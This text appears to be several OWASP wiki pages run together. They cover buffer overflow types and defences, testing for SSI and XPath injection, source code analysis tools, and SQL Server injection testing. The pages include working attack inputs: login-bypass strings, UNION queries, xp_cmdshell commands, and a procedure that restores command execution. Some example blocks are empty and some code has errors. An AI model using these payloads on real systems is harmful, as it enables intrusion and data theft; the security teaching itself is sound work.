! Language/Environment !! Compiled or Interpreted !! Strongly Typed !! Direct Memory Access !! Safe or Unsafe

|-

|| Java, Java Virtual Machine (JVM) || Both || Yes || No || Safe

|-

|| .NET || Both || Yes || No || Safe

|-

|| Perl || Both || Yes || No || Safe

|-

|| Python - interpreted || Intepreted || Yes || No || Safe

|-

|| Ruby || Interpreted || Yes || No || Safe

|-

|| C/C++ || Compiled || No || Yes || Unsafe

|-

|| Assembly || Compiled || No || Yes || Unsafe

|-

|| COBOL || Compiled || Yes || No || Safe

|-

|}
Table 8.1: Language descriptions

==General Prevention Techniques ==

A number of general techniques to prevent buffer overflows include:

* Code auditing (automated or manual)

* Developer training – bounds checking, use of unsafe functions, and group standards

* Non-executable stacks – many operating systems have at least some support for this

* Compiler tools – StackShield, StackGuard, and Libsafe, among others

* Safe functions – use strncat instead of strcat, strncpy instead of strcpy, etc

* Patches – Be sure to keep your web and application servers fully patched, and be aware of bug reports relating to applications upon which your code is dependent.

* Periodically scan your application with one or more of the commonly available scanners that look for buffer overflow flaws in your server products and your custom web applications.

==Stack Overflow ==

Stack overflows are the best understood and the most common form of buffer overflows. The basics of a stack overflow is simple:

* There are two buffers, a source buffer containing arbitrary input (presumably from the attacker), and a destination buffer that is too small for the attack input. The second buffer resides on the stack and somewhat adjacent to the function return address on the stack.

* The faulty code does ''not'' check that the source buffer is too large to fit in the destination buffer. It copies the attack input to the destination buffer, overwriting additional information on the stack (such as the function return address).

* When the function returns, the CPU unwinds the stack frame and pops the (now modified) return address from the stack.

* Control does not return to the function as it should. Instead, arbitrary code (chosen by the attacker when crafting the initial input) is executed.

The following example, written in C, demonstrates a stack overflow exploit.

<pre>
#include <string.h>

void f(char* s) {
char buffer[10];
strcpy(buffer, s);
}

void main(void) {
f("01234567890123456789");
}

[root /tmp]# ./stacktest

Segmentation fault
</pre>

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* copies data from one buffer on the stack to another without checking sizes first AND

* does not use techniques such as canary values or non-executable stacks to prevent buffer overflows THEN

it is likely that the application is vulnerable to attack.

===How to protect yourself ===
# Deploy on systems capable of using non-executable stacks, such as:
## AMD and Intel x86-64 chips with associated 64-bit operating systems
## Windows XP SP2 (both 32- and 64-bit)
## Windows 2003 SP1 (both 32- and 64-bit)
## Linux after 2.6.8 on AMD and x86-64 processors in 32- and 64-bit mode
## OpenBSD (w^x on Intel, AMD, SPARC, Alpha and PowerPC)
## Solaris 2.6 and later with the “noexec_user_stack” flag enabled
# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Heap Overflow ==

Heap overflows are problematic in that they are not necessarily protected by CPUs capable of using non-executable stacks. A heap is an area of memory allocated by the application at run-time to store data. The following example, written in C, shows a heap overflow exploit.

<pre>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

#define BSIZE 16
#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */

void main(void) {
u_long b_diff;
char *buf0 = (char*)malloc(BSIZE); // create two buffers
char *buf1 = (char*)malloc(BSIZE);

b_diff = (u_long)buf1 - (u_long)buf0; // difference between locations
printf("Initial values: ");
printf("buf0=%p, buf1=%p, b_diff=0x%x bytes\n", buf0, buf1, b_diff);

memset(buf1, 'A', BUFSIZE-1), buf1[BUFSIZE-1] = '\0';
printf("Before overflow: buf1=%s\n", buf1);

memset(buf0, 'B', (u_int)(diff + OVERSIZE));
printf("After overflow: buf1=%s\n", buf1);
}

[root /tmp]# ./heaptest

Initial values: buf0=0x9322008, buf1=0x9322020, diff=0xff0 bytes
Before overflow: buf1=AAAAAAAAAAAAAAA
After overflow: buf1=BBBBBBBBAAAAAAA
</pre>

The simple program above shows two buffers being allocated on the heap, with the first buffer being overflowed to overwrite the contents of the second buffer.

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* copies data from one buffer on the stack to another without checking sizes first AND

* does not use techniques such as canary values to prevent buffer overflows THEN

it is likely that the application is vulnerable to attack.

===How to protect yourself ===

# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Format String ==

Format string buffer overflows (usually called "format string vulnerabilities") are highly specialized buffer overflows that can have the same effects as other buffer overflow attacks. Basically, format string vulnerabilities take advantage of the mixture of data and control information in certain functions, such as C/C++'s printf. The easiest way to understand this class of vulnerability is with an example:

<pre>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

void main(void) {
char str[100] = scanf("%s");
printf("%s", str);
}
</pre>

This simple program takes input from the user and displays it back on the screen. The string <code>%s</code> means that the other parameter, str, should be displayed as a string. This example is ''not'' vulnerable to a format string attack, but if one changes the last line, it becomes exploitable:

printf(str);

To see how, consider the user entering the special input:

''%08x.%08x.%08x.%08x.%08x''

By constructing input as such, the program can be exploited to print the first five entries from the stack.

===How to determine if you are vulnerable ===

If your program:

* uses functions such as printf, snprintf directly, or indirectly through system services (such as syslog) or other AND

* the use of such functions allows input from the user to contain control information interpreted by the function itself

it is highly likely that the application is vulnerable to attack.

===How to protect yourself ===

# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc. Specifically check for control information (meta-characters like '%')
# Avoid the use of functions like printf that allow user input to contain control information
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Unicode Overflow ==

Unicode exploits are a bit more difficult to do than typical buffer overflows as demonstrated in Anley’s 2002 paper, but it is wrong to assume that by using Unicode, you are protected against buffer overflows. Examples of Unicode overflows include Code Red, a devastating Trojan with an estimated economic cost in the billions of dollars.

===How to determine if you are vulnerable ===

If your program:

* is written in a language (or depends upon a program that is written in a language) that allows buffer overflows to be created (see Table 8.1) AND

* takes Unicode input from a user AND

* fails to sanitize the input AND

* does not use techniques such as canary values to prevent buffer overflows THEN

it is highly likely that the application is vulnerable to attack.

===How to protect yourself ===

# Deploy on systems capable of using non-executable stacks, such as:
## AMD and Intel x86-64 chips with associated 64-bit operating systems
## Windows XP SP2 (both 32- and 64-bit)
## Windows 2003 SP1 (both 32- and 64-bit)
## Linux after 2.6.8 on AMD and x86-64 processors in 32- and 64-bit mode
## OpenBSD (w^x on Intel, AMD, SPARC, Alpha and PowerPC)
## Solaris 2.6 and later with the “noexec_user_stack” flag enabled
# Use higher-level programming languages that are strongly typed and that disallow direct memory access.
# Validate input to prevent unexpected data from being processed, such as being too long, of the wrong data type, containing "junk" characters, etc.
# If relying upon operating system functions or utilities written in a vulnerable language, ensure that they:
## use the principle of least privilege
## use compilers that protect against stack and heap overflows
## are current in terms of patches

==Integer Overflow ==

When an application takes two numbers of fixed word size and perform an operation with them, the result may not fit within the same word size. For example, if the two 8-bit numbers 192 and 208 are added together and stored into another 8-bit byte, the result will not fit into an 8-bit result:

'' 1100 0000''

'' + 1101 0000''

'' = 0001 1001 0000''

Although such an operation will usually cause some type of exception, your application must be coded to check for such an exception and take proper action. Otherwise, your application would report that 192 + 208 equals 144.

The following code demonstrates a buffer overflow, and was adapted from [http://www.phrack.org/issues.html?issue=60&id=10#article Blexim's Phrack article]:

<pre>
#include <stdio.h>
#include <string.h>

void main(int argc, char *argv[]) {
int i = atoi(argv[1]); // input from user
unsigned short s = i; // truncate to a short
char buf[50]; // large buffer

if (s > 10) { // check we're not greater than 10
return;
}

memcpy(buf, argv[2], i); // copy i bytes to the buffer
buf[i] = '\0'; // add a null byte to the buffer
printf("%s\n", buf); // output the buffer contents

return;
}

[root /tmp]# ./inttest 65580 foobar
Segmentation fault
</pre>

The above code is exploitable because the validation does not occur on the input value (65580), but rather the value after it has been converted to an unsigned short (45).

Integer overflows can be a problem in any language and can be exploited when integers are used in array indices and implicit short math operations.

===How to determine if you are vulnerable ===

* Examine use of signed integers, bytes, and shorts.

* Are there cases where these values are used as array indices after performing an arithmetic operation (+, -, *, /, or % (modulo))?

* How would your program react to a negative or zero value for integer values, particular during array lookups?

===How to protect yourself ===

* If using .NET, use David LeBlanc’s SafeInt class or a similar construct. Otherwise, use a "BigInteger" or "BigDecimal" implementation in cases where it would be hard to validate input yourself.

* If your compiler supports the option, change the default for integers to be unsigned unless otherwise explicitly stated. Use unsigned integers whenever you don't need negative values.

* Use range checking if your language or framework supports it, or be sure to implement range checking yourself after all arithmetic operations.

* Be sure to check for exceptions if your language supports it.

==Further reading ==

* Team Teso, ''Exploiting Format String Vulnerabilities''

http://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf

* Newsham, Tim, ''Format String Attacks

''http://hackerproof.org/technotes/format/FormatString.pdf

* w00 w00 and Matt Conover, ''Preliminary Heap Overflow Tutorial''

http://www.w00w00.org/files/articles/heaptut.txt

* Chris Anley, ''Creating Arbitrary Shellcode In Unicode Expanded Strings''

http://www.ngssoftware.com/papers/unicodebo.pdf

* David Leblanc, ''Integer Handling with the C++ SafeInt Class ''

http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dncode/html/secure01142004.asp

* Aleph One, ''Smashing the Stack for fun and profit''

http://www.phrack.org/issues.html?issue=49&id=14#article

* Mark Donaldson, ''Inside the buffer Overflow Attack: Mechanism, method, & prevention''

http://www.sans.org/reading_room/whitepapers/securecode/buffer-overflow-attack-mechanism-method-prevention_386

* ''NX Bit'', Wikipedia article

http://en.wikipedia.org/wiki/NX_bit

* Horizon'', How to bypass Solaris no execute stack protection

''http://www.secinf.net/unix_security/How_to_bypass_Solaris_nonexecutable_stack_protection_.html

* Alexander Anisimov'', Defeating Microsoft Windows XP SP2 Heap protection and DEP bypass'', Positive Technologies

http://www.ptsecurity.com/download/defeating-xpsp2-heap-protection.pdf

* Matt Conover, w00w00 on Heap Overflows, w00w00 Security Team

http://www.w00w00.org/files/articles/heaptut.txt

* Blexim, ''Basic Integer Overflows

''http://www.phrack.org/issues.html?issue=60&id=10#article

* StackShield

http://www.angelfire.com/sk/stackshield/index.html

* StackGuard

https://en.wikibooks.org/wiki/GNU_C_Compiler_Internals/Stackguard_4_1 
http://static.usenix.org/publications/library/proceedings/sec98/full_papers/cowan/cowan_html/cowan.html

* Libsafe

http://directory.fsf.org/wiki/Libsafe

 
[[Guide Table of Contents|Development Guide Table of Contents]]
[[Category:OWASP_Guide_Project]]

Testing for SSI Injection (OTG-INPVAL-009)

2013-05-12T13:04:47Z

Shady: References

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==

Web servers usually give developers the ability to add small pieces of dynamic code inside static HTML pages, without having to deal with full-fledged server-side or client-side languages. This feature is incarnated by the '''[[Server-Side Includes %28SSI%29 Injection|Server-Side Includes]]''' ('''SSI'''). In SSI injection testing, we test if it is possible to inject into the application data that will be interpreted by SSI mechanisms. A successful exploitation of this vulnerability allows an attacker to inject code into HTML pages or even perform remote code execution.

== Description of the Issue ==

Server-Side Includes are directives that the web server parses before serving the page to the user. They represent an alternative to writing CGI programs or embedding code using server-side scripting languages, when there's only need to perform very simple tasks. Common SSI implementations provide commands to include external files, to set and print web server CGI environment variables, and to execute external CGI scripts or system commands. 

Putting an SSI directive into a static HTML document is as easy as writing a piece of code like the following: 

<pre>

</pre>

to print out the current time. 

<pre>

</pre>

to include the output of a CGI script. 

<pre>

</pre>

to include the content of a file or list files in a directory. 

<pre>

</pre>

to include the output of a system command. 

Then, if the web server's SSI support is enabled, the server will parse these directives. In the default configuration, usually, most web servers don't allow the use of the '''''exec''''' directive to execute system commands. 

As in every bad input validation situation, problems arise when the user of a web application is allowed to provide data that makes the application or the web server behave in an unforeseen manner. With regard to SSI injection, the attacker could provide input that, if inserted by the application (or maybe directly by the server) into a dynamically generated page, would be parsed as one or more SSI directives. 

This is a vulnerability very similar to a classical scripting language injection vulnerability. One mitigation is that the web server needs to be configured to allow SSI. On the other hand, SSI injection vulnerabilities are often simpler to exploit, since SSI directives are easy to understand and, at the same time, quite powerful, e.g., they can output the content of files and execute system commands. 

== Black Box testing ==

The first thing to do when testing in a Black Box fashion is finding if the web server actually supports SSI directives. Often, the answer is yes, as SSI support is quite common. To find out we just need to discover which kind of web server is running on our target, using classic information gathering techniques. 

Whether we succeed or not in discovering this piece of information, we could guess if SSI are supported just by looking at the content of the target web site. If it contains '''''.shtml''''' files, then SSI are probably supported, as this extension is used to identify pages containing these directives. Unfortunately, the use of the '''''shtml''''' extension is not mandatory, so not having found any '''''shtml''''' files doesn't necessarily mean that the target is not prone to SSI injection attacks. 

The next step consists of determining if an SSI injection attack is actually possible and, if so, what are the input points that we can use to inject our malicious code. 
The testing activity required to do this is exactly the same used to test for other code injection vulnerabilities. In particular, we need to find every page where the user is allowed to submit some kind of input, and verify whether the application is correctly validating the submitted input. If sanitization is insufficient, we need to test if we can provide data that is going to be displayed unmodified (for example, in an error message or forum post). Besides common user-supplied data, input vectors that should always be considered are HTTP request headers and cookies content, since they can be easily forged. 

Once we have a list of potential injection points, we can check if the input is correctly validated and then find out where the provided input is stored. We need to make sure that we can inject characters used in SSI directives: 

<pre>
< ! # = / . " - > and [a-zA-Z0-9]
</pre>

To test if validation is insufficient, we can input, for example, a string like the following in an input form: 

<pre>

</pre>

This is similar to testing for XSS vulnerabilities using 

<pre>
<script>alert("XSS")</script>
</pre>

If the application is vulnerable, the directive is injected and it would be interpreted by the server the next time the page is served, thus including the content of the Unix standard password file. 

The injection can be performed also in HTTP headers, if the web application is going to use that data to build a dynamically generated page: 

<pre>
GET / HTTP/1.0
Referer: 
User-Agent: 
</pre>

== Gray Box testing and example ==

If we have access to the application source code, we can quite easily find out: 
# If SSI directives are used. If they are, then the web server is going to have SSI support enabled, making SSI injection at least a potential issue to investigate. 
# Where user input, cookie content and HTTP headers are handled. The complete list of input vectors is then quickly determined. 
# How the input is handled, what kind of filtering is performed, what characters the application is not letting through, and how many types of encoding are taken into account. 

Performing these steps is mostly a matter of using grep to find the right keywords inside the source code (SSI directives, CGI environment variables, variables assignment involving user input, filtering functions and so on).

== References ==
'''Whitepapers''' 
* Apache Tutorial: "Introduction to Server Side Includes" - http://httpd.apache.org/docs/1.3/howto/ssi.html 
* Apache: "Module mod_include" - http://httpd.apache.org/docs/1.3/mod/mod_include.html 
* Apache: "Security Tips for Server Configuration" - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi 
* Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt 
* SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-of-javascript.html
* IIS: "Notes on Server-Side Includes (SSI) syntax" - http://blogs.iis.net/robert_mcmurray/archive/2010/12/28/iis-notes-on-server-side-includes-ssi-syntax-kb-203064-revisited.aspx 

'''Tools''' 
* Web Proxy Burp Suite - http://portswigger.net
* Paros - http://www.parosproxy.org/index.shtml
* [[OWASP WebScarab Project|WebScarab]]
* String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor

Testing for XPath Injection (OTG-INPVAL-010)

2013-05-12T12:45:34Z

Shady: References

{{Template:OWASP Testing Guide v4}}

== Brief Summary ==
XPath is a language that has been designed and developed primarily to address parts of an XML document. In [[XPATH Injection|XPath injection]] testing, we test if it is possible to inject data into an application so that it executes user-controlled XPath queries. When successfully exploited, this vulnerability may allow an attacker to bypass authentication mechanisms or access information without proper authorization. 

== Short Description of the Issue ==
Web applications heavily use databases to store and access the data they need for their operations. Historically, relational databases have been by far the most common technology for data storage, but, in the last years, we are witnessing an increasing popularity for databases that organize data using the XML language. Just like relational databases are accessed via SQL language, XML databases use XPath as their standard query language. Since, from a conceptual point of view, XPath is very similar to SQL in its purpose and applications, an interesting result is that XPath injection attacks follow the same logic as [[SQL Injection]] attacks. In some aspects, XPath is even more powerful than standard SQL, as its whole power is already present in its specifications, whereas a large number of the techniques that can be used in a SQL Injection attack depend on the characteristics of the SQL dialect used by the target database. This means that XPath injection attacks can be much more adaptable and ubiquitous. Another advantage of an XPath injection attack is that, unlike SQL, no ACLs are enforced, as our query can access every part of the XML document. 

== Black Box testing and example ==
The XPath attack pattern was first published by Amit Klein [1] and is very similar to the usual SQL Injection. In order to get a first grasp of the problem, let's imagine a login page that manages the authentication to an application in which the user must enter his/her username and password. Let's assume that our database is represented by the following XML file:
<pre>
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user>
<username>gandalf</username>
<password>!c3</password>
<account>admin</account>
</user>
<user>
<username>Stefan0</username>
<password>w1s3c</password>
<account>guest</account>
</user>
<user>
<username>tony</username>
<password>Un6R34kb!e</password>
<account>guest</account>
</user>
</users>
</pre>
An XPath query that returns the account whose username is "gandalf" and the password is "!c3" would be the following:
<pre>
string(//user[username/text()='gandalf' and password/text()='!c3']/account/text())
</pre>
If the application does not properly filter user input, the tester will be able to inject XPath code and interfere with the query result. For instance, the tester could input the following values:
<pre>
Username: ' or '1' = '1
Password: ' or '1' = '1
</pre>
Looks quite familiar, doesn't it?
Using these parameters, the query becomes:
<pre>
string(//user[username/text()='' or '1' = '1' and password/text()='' or '1' = '1']/account/text())
</pre>
As in a common SQL Injection attack, we have created a query that always evaluates to true, which means that the application will authenticate the user even if a username or a password have not been provided.

And as in a common SQL Injection attack, with XPath injection, the first step is to insert a single quote (') in the field to be tested, introducing a syntax error in the query, and to check whether the application returns an error message.

If there is no knowledge about the XML data internal details and if the application does not provide useful error messages that help us reconstruct its internal logic, it is possible to perform a [[Blind XPath Injection]] attack, whose goal is to reconstruct the whole data structure. The technique is similar to inference based SQL Injection, as the approach is to inject code that creates a query that returns one bit of information. [[Blind XPath Injection]] is explained in more detail by Amit Klein in the referenced paper.
 

== References ==
'''Whitepapers''' 
* [1] Amit Klein: "Blind XPath Injection" - http://www.modsecurity.org/archive/amit/blind-xpath-injection.pdf
* [2] XPath 1.0 specifications - http://www.w3.org/TR/xpath

Source Code Analysis Tools

2012-06-01T09:13:10Z

Shady: fix RATS link

Source Code Analysis tools are designed to analyze source code and/or compiled version of code in order to help find security flaws. Ideally, such tools would automatically find security flaws with a high degree of confidence that what is found is indeed a flaw. However, this is beyond the state of the art for many types of application security flaws. Thus, such tools frequently serve as aids for an analyst to help them zero in on security relevant portions of code so they can find flaws more efficiently, rather than a tool that simply finds flaws automatically.

Some tools are starting to move into the IDE. For the types of problems that can be detected during the software development phase itself, this is a powerful phase within the development lifecycle to employ such tools, as it provides immediate feedback to the developer on issues they might be introducing into the code during code development itself. This immediate feedback is very useful as compared to finding vulnerabilities much later in the development cycle.

==Strengths and Weaknesses of such tools==

=== Strengths ===
* Scales Well (Can be run on lots of software, and can be repeatedly (like in nightly builds))
* For things that such tools can automatically find with high confidence, such as buffer overflows, SQL Injection Flaws, etc. they are great.

=== Weaknesses ===
* Many types of security vulnerabilities are very difficult to find automatically, such as authentication problems, access control issues, insecure use of cryptography, etc. The current state of the art only allows such tools to automatically find a relatively small percentage of application security flaws. Tools of this type are getting better, however.
* High numbers of false positives.
* Frequently can't find configuration issues, since they are not represented in the code.
* Difficult to 'prove' that an identified security issue is an actual vulnerability.
* Many of these tools have difficulty analyzing code that can't be compiled. Analysts frequently can't compile code because they don't have the right libraries, all the compilation instructions, all the code, etc.

==Important Selection Criteria==

* Requirement: Must support your language, but not usually a key factor once it does.

* Types of Vulnerabilities it can detect (Out of the OWASP Top Ten?) (plus more?)
* Does it require a fully buildable set of source?
* Can it run against binaries instead of source?
* Can it be integrated into the developer's IDE?
* License cost for the tool. (Some are sold per user, per org, per app, per line of code analyzed. Consulting licenses are frequently different than end user licenses.)

==OWASP Tools Of This Type==
* [http://www.owasp.org/index.php/Category:OWASP_Orizon_Project OWASP Orizon Project]
* [[OWASP_LAPSE_Project | OWASP LAPSE Project]]
* [[OWASP O2 Platform]]

==Open Source or Free Tools Of This Type==

* [http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/ Google CodeSearchDiggity] - Utilizes Google Code Search to identifies vulnerabilities in open source code projects hosted by Google Code, MS CodePlex, SourceForge, Github, and more. The tool comes with over 130 default searches that identify SQL injection, cross-site scripting (XSS), insecure remote and local file includes, hard-coded passwords, and much more. ''Essentially, Google CodeSearchDiggity provides a source code security analysis of nearly every single open source code project in existence – simultaneously.''
* [http://findbugs.sourceforge.net/ FindBugs] - Find Bugs (including some security flaws) in Java Programs
* [http://msdn.microsoft.com/en-us/library/bb429476(VS.80).aspx FxCop] (Microsoft) - FxCop is an application that analyzes managed code assemblies (code that targets the .NET Framework common language runtime) and reports information about the assemblies, such as possible design, localization, performance, and security improvements.
* [http://pmd.sourceforge.net/ PMD] - PMD scans Java source code and looks for potential code problems (this is a code quality tool that does not focus on security issues)
* [http://msdn.microsoft.com/en-us/library/ms933794.aspx PreFast] (Microsoft) - PREfast is a static analysis tool that identifies defects in C/C++ programs
* [https://www.fortify.com/ssa-elements/threat-intelligence/rats.html RATS] (Fortify) - Scans C, C++, Perl, PHP and Python source code for security problems like buffer overflows and TOCTOU (Time Of Check, Time Of Use) race conditions
* [http://www.securitycompass.com/inner_swaat.shtml SWAAT] - Simplistic Beta Tool - Languages: Java, JSP, ASP .Net, and PHP
* [http://www.dwheeler.com/flawfinder/ Flawfinder] Flawfinder - Scans C and C++
* [http://sourceforge.net/projects/rips-scanner/ RIPS] - RIPS is a static source code analyzer for vulnerabilities in PHP web applications

==Commercial Tools from OWASP Members Of This Type==

These vendors have decided to support OWASP by becoming [[Membership|members]]. OWASP appreciates the support from these organizations, but cannot endorse any commercial products or services.

* [http://www.armorize.com/corpweb/en/products/codesecure Static Source Code Analysis with CodeSecure™] (Armorize Technologies)
* [http://www.artofdefence.com/en/hypersource/hypersource.html Static Source Code Analysis with hypersource] (art of defence)
* [http://www.fortifysoftware.com/products/sca.jsp Source Code Analysis] (HP/Fortify)
* [http://www.veracode.com/ Veracode] (Veracode)

==Other Well Known Commercial Tools Of This Type==

* [http://www.checkmarx.com/Products.aspx?id=3 CxSuite] (Checkmarx)
* [http://www.coverity.com/products/prevent.html Prevent] (Coverity)
* [http://www-01.ibm.com/software/awdtools/appscan/ IBM AppScan Source Edition] (formerly Ounce)
* [http://www.klocwork.com/products/insight.asp Insight] (KlocWork)
* [http://www.parasoft.com/jsp/capabilities/static_analysis.jsp?itemId=547 Parasoft Test] (Parasoft)

==More Info==

* TODO: add comments from: http://lists.owasp.org/pipermail/owasp-dotnet/2006-August/000002.html
* [[Appendix_A:_Testing_Tools | Appendix A: Testing Tools]]
* [http://samate.nist.gov/index.php/Source_Code_Security_Analyzers NIST's list of Source Code Security Analysis Tools]

[[Category:OWASP .NET Project]]

__NOTOC__

Testing for SQL Server

2012-05-18T09:58:33Z

Shady:

{{Template:OWASP Testing Guide v3}}

== Brief Summary ==
In this section some [[SQL Injection]] techniques that utilize specific features of Microsoft SQL Server will be discussed.

== Short Description of the Issue ==
SQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute SQL code under the privileges of the user used to connect to the database.

As explained in [[SQL injection]], a SQL-injection exploit requires two things: an entry point and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:

* Application parameters in query strings (e.g., GET requests)
* Application parameters included as part of the body of a POST request
* Browser-related information (e.g., user-agent, referrer)
* Host-related information (e.g., host name, IP)
* Session-related information (e.g., user ID, cookies)

Microsoft SQL server has a few unique characteristics, so some exploits need to be specially customized for this application.

== Black Box testing and example ==

===SQL Server Characteristics===

To begin, let's see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:

* comment operator: -- (useful for forcing the query to ignore the remaining portion of the original query; this won't be necessary in every case)
* query separator: ; (semicolon)
* Useful stored procedures include:
** [[http://msdn2.microsoft.com/en-us/library/ms175046.aspx xp_cmdshell]] executes any command shell in the server with the same permissions that it is currently running. By default, only '''sysadmin''' is allowed to use it and in SQL Server 2005 it is disabled by default (it can be enabled again using sp_configure)
** '''xp_regread''' reads an arbitrary value from the Registry (undocumented extended procedure)
** '''xp_regwrite''' writes an arbitrary value into the Registry (undocumented extended procedure)
** [[http://msdn2.microsoft.com/en-us/library/ms180099.aspx sp_makewebtask]] Spawns a Windows command shell and passes in a string for execution. Any output is returned as rows of text. It requires '''sysadmin''' privileges.
** [[http://msdn2.microsoft.com/en-US/library/ms189505.aspx xp_sendmail]] Sends an e-mail message, which may include a query result set attachment, to the specified recipients. This extended stored procedure uses SQL Mail to send the message.
 
Let's see now some examples of specific SQL Server attacks that use the aforementioned functions. Most of these examples will use the '''exec''' function.

Below we show how to execute a shell command that writes the output of the command ''dir c:\inetpub'' in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses xp_cmdshell:
<pre>
exec master.dbo.xp_cmdshell 'dir c:\inetpub > c:\inetpub\wwwroot\test.txt'--
</pre>
Alternatively, we can use sp_makewebtask:
<pre>
exec sp_makewebtask 'C:\Inetpub\wwwroot\test.txt', 'select * from master.dbo.sysobjects'--
</pre>
A successful execution will create a file that can be browsed by the pen tester. Keep in mind that sp_makewebtask is deprecated, and, even if it works in all SQL Server versions up to 2005, it might be removed in the future.

In addition, SQL Server built-in functions and environment variables are very handy. The following uses the function '''db_name()''' to trigger an error that will return the name of the database:
<pre>
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())
</pre>
Notice the use of [[http://msdn.microsoft.com/library/en-us/tsqlref/ts_ca-co_2f3o.asp convert]]:
<pre>
CONVERT ( data_type [ ( length ) ] , expression [ , style ] )
</pre>
CONVERT will try to convert the result of db_name (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.

The following example uses the environment variable '''@@version ''', combined with a "union select"-style injection, in order to find the version of the SQL Server.
<pre>/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--
</pre>
And here's the same attack, but using again the conversion trick:
<pre>
/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)
</pre>
Information gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of an SQL-injection attack or direct access to the SQL listener.

In the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.

===Example 1: Testing for SQL Injection in a GET request. ===

The most simple (and sometimes most rewarding) case would be that of a login page requesting an user name and password for user login. You can try entering the following string "' or '1'='1" (without double quotes):

<nowiki>https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1</nowiki>

If the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.

===Example 2: Testing for SQL Injection in a GET request===

In order to learn how many columns exist

<nowiki>https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--</nowiki>

===Example 3: Testing in a POST request ===

SQL Injection, HTTP POST Content: email=%27&whichSubmit=submit&submit.x=0&submit.y=0

A complete post example:

POST <nowiki>https://vulnerable.web.app/forgotpass.asp HTTP/1.1</nowiki>
Host: vulnerable.web.app
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: <nowiki>http://vulnerable.web.app/forgotpass.asp</nowiki>
Content-Type: application/x-www-form-urlencoded
Content-Length: 50 
email=%27&whichSubmit=submit&submit.x=0&submit.y=0

The error message obtained when a ' (single quote) character is entered at the email field is:

Microsoft OLE DB Provider for SQL Server error '80040e14'
Unclosed quotation mark before the character string '' '.
/forgotpass.asp, line 15

===Example 4: Yet another (useful) GET example===

Obtaining the application's source code

a' ; master.dbo.xp_cmdshell ' copy c:\inetpub\wwwroot\login.aspx c:\inetpub\wwwroot\login.txt';--

===Example 5: custom xp_cmdshell===

All books and papers describing the security best practices for SQL Server recommend disabling xp_cmdshell in SQL Server 2000 (in SQL Server 2005 it is disabled by default). However, if we have sysadmin rights (natively or by bruteforcing the sysadmin password, see below), we can often bypass this limitation.
 
On SQL Server 2000:
* If xp_cmdshell has been disabled with sp_dropextendedproc, we can simply inject the following code:
<pre>
sp_addextendedproc 'xp_cmdshell','xp_log70.dll'
</pre>
* If the previous code does not work, it means that the xp_log70.dll has been moved or deleted. In this case we need to inject the following code:
<pre>
CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result
</pre>
